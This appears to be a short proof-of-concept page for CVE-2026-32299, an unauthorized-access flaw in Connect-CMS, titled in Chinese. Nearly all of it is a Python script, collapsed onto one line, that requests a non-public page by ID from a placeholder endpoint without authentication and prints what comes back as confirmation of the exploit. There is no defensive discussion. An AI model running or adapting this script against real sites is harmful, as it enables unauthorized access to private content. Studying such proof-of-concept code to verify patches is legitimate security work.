CVE-2026-32299 Connect-CMS 未授权访问漏洞

import requests # Target URL (Replace with the actual vulnerable endpoint) target_url = "http://target-cms.com/api/pages/view/{page_id}" # Simulation of exploiting improper authorization to access a private page # In the vulnerable version, authentication is not required (PR:N) page_id = 1 # Example ID of a non-public page try: # Sending request without authentication headers response = requests.get(target_url.format(page_id=page_id)) if response.status_code == 200: print("[+] Vulnerability Confirmed: Successfully retrieved non-public content.") print("Response Snippet:", response.text[:200]) else: print("[-] Exploit failed or content not accessible.") except Exception as e: print(f"[!] Error occurred: {e}")